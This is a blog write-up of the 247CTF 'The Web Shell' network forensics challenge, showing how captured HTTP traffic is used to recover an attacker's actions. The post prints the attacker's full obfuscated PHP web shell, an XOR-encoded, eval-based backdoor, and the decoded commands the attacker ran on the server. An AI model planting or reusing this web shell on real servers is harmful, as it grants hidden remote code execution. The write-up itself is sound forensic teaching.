CREATIVE CHAOS   ▋ blog

The Web Shell (net)

PUBLISHED ON 24/11/2021 — EDITED ON 11/12/2023 — 247CTF, INFOSEC

Intro

After some time spent on my bike, here is the latest write-up, this time of a Networking challenge The Web Shell on the CTF site 247CTF.com.

Instructions

Our web server was compromised again and we aren’t really sure what the attacker was doing. Luckily, we only use HTTP and managed to capture network traffic during the attack! Can you figure out what the attacker was up to?

Howto

The challenge provides us with a pcap file of captured traffic (web_shell.pcap), so first download it.

As always, analyze it in Wireshark and skim through the data to find patterns.

In packet 4, we can see a hint that Nikto is used without evasions. Nikto is a popular server scanner used for finding interesting stuff.

4 Mozilla/5.00 (Nikto/2.1.5) (Evasions:None) (Test:Port Check)

In the next 16k packets, we can observe random attempts to guess a working link via GET requests. Culprits are looking for response code 200 and we can see that until it appears, they tried a lot of links that responded with code 404.

16626 GET /uploader.php HTTP/1.1\r\n
...
16628 HTTP/1.1 200 OK\r\n
...
16648 POST /uploader.php HTTP/1.1\r\n

Looking at the packet number 16648, we can see that there is additional POST payload attached. Educated guess would be that attackers uploaded their own code. Right click on the packet line, Follow and HTTP stream. Here we can see that the data is in fact a php script.

<?php
$d=str_replace('eq','','eqcreaeqteeq_fueqnceqtieqon');
$C='{[Z$o.=$t[Z{$i}^$k{$j};[Z}}return [Z$[Zo;}if (@preg_[Zmatc[Zh("[Z/$[Zkh(.+)$kf[Z/",@file[Z_ge[Z[Zt_conten[Zts("p[Z[Zh';
$q='Z[Z,$k){$c=strlen($k);$l=s[Ztrlen([Z$t);$[Z[Zo="";for[Z($i=0;$i<$[Zl;){for[Z($j=0[Z;($j<[Z[Z$c&&$i<$l[Z[Z);$j[Z++,$i++)';
$O='$k="8[Z1aeb[Ze1[Z8";$kh="775d[Z4[Zf83f4e0";[Z$kf=[Z"0120dd0bcc[Zc6[Z";$p="[ZkkqES1eCI[ZzoxyHXb[Z[Z";functio[Zn x[Z($t[';
$Z='[Zet_conte[Znts()[Z;@ob_end_clean();$r=[Z@b[Zase64_enco[Zde(@x([Z@gzco[Z[Z[Zmpress($o),$k));pri[Znt[Z("$[Zp$kh$r$kf");}';
$V='p://input"),$m)[Z==1) {@ob_[Zst[Zart();@e[Zval(@gzun[Zcom[Zpress(@x[Z(@base[Z64_de[Zc[Zode($m[1])[Z,$k)));$[Zo[Z=@ob_[Zg';
$v=str_replace('[Z','',$O.$q.$C.$V.$Z);
$W=$d('',$v);$W();
?>

Obviously the code is obfuscated to try to avoid detection and make life difficult for people that want to know what is it doing. Using some basic understanding of php and find and replace in your favourite editor, you can obtain the clean code. Use indentation to your advantage.

Observations for PHP code.

After deobfuscation, we could analyse the inner workings of the shell…

  • function x is doing simple bitwise xor operation on two arguments.
  • Regex pattern "/$kh(.+)$kf/" is matching only strings that start with $kh and end with $kf, so that only hackers input gets executed.
  • @ suppresses the error messages.
  • ob_start(); turns on output buffering.
  • If there is a match, script takes second string from $m, decodes it, xors it, uncompresses it and executes it with eval().

So to get plaintext of commands and outputs that attackers used, we need to do the process in reverse. Compress, encode in base64, xor.

Here I have googled and found similar problem: https://joshuanatan.medium.com/hack-bfc7c6528463

To do that, we can create our own decoder result-decode.php:

<?php

$k="81aebe18";
$kh="775d4f83f4e0";
$kf="0120dd0bccc6";
$p="kkqES1eCIzoxyHXb";

function x($t,$k)
{
	$c=strlen($k);
	$l=strlen($t);
	$o="";
	for($i=0;$i<$l;)
	{
		for($j=0; ($j<$c&&$i<$l); $j++,$i++)
		{
			$o.=$t{$i}^$k{$j};
		}
	}
	return $o;
}
$userinput = file_get_contents("php://input");
$base64 = base64_decode($userinput);
$xor = x($base64,$k);
$result = gzuncompress($xor);
echo "\n".$result;
?>

In the next step, we could copy paste all the TCP streams by hand. But I rather not, so lets automate the process.

Output only tcp.payload from tcp.stream and convert it from hex with xxd -r -p

tshark -r web_shell.pcap  -Y "tcp.stream" -Tfields -e tcp.payload | xxd -r -p > wstcpstream.txt

Filter only the text between two strings found in shell script using awk

cat wstcpstream.txt| awk 'BEGIN{RS="0120dd0bccc6"; FS="775d4f83f4e0"}NF>1{print $NF}'  > wstcpToParse.txt

Spin up a webserver and serve the result-decode.php file, use it with curl POST and decode all the lines in the file.

while read p ; do curl -X POST --data "$p" http://localhost/result-decode.php ; done < wstcpToParse.txt > wsresults.txt

We now have plaintext input and output of the hackers wrongdoings in file wsresults.txt.

echo(28520);
28520
chdir('/var/www/html/uploads');@error_reporting(0);@system('echo 93301');
93301

chdir('/var/www/html/uploads');@error_reporting(0);@system('id 2>&1');
uid=33(www-data) gid=33(www-data) groups=33(www-data)

chdir('/var/www/html/uploads');@error_reporting(0);@system('ls 2>&1');
index.html
owned.php

chdir('/var/www/html/uploads');@error_reporting(0);@system('ls ../ 2>&1');
index.html
uploader.php
uploads
y_flag_here.txt

echo(65959);
65959
chdir('/var/www/html/uploads');@error_reporting(0);@system('echo 12937');
12937

chdir('/var/www/html/uploads');@error_reporting(0);@system('xxd -p -l1 -s31 ../y_flag_here.txt 2>&1');
32

echo(49092);
49092
chdir('/var/www/html/uploads');@error_reporting(0);@system('echo 80737');
80737

chdir('/var/www/html/uploads');@error_reporting(0);@system('xxd -p -l1 -s34 ../y_flag_here.txt 2>&1');
37
...

We can see exactly what happened and that there is a file y_flag_here.txt. Interesting!The hackers are very kind and are displaying it for us byte for byte with xxd. -l1 outputs one octet and -s tells us which part of the file is the hacker displaying.

So we need to put the outputs in the right order.

If anyone has some nice idea how to automate this part, message me :)

I went by hand, from -s0 to s39 and wrote the response bytes in file flaghex.txt.

32343754467b35...

The last thing for us is to reverse the xxd command:

xxd -r -p flaghex.txt
247CTF{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}

See Also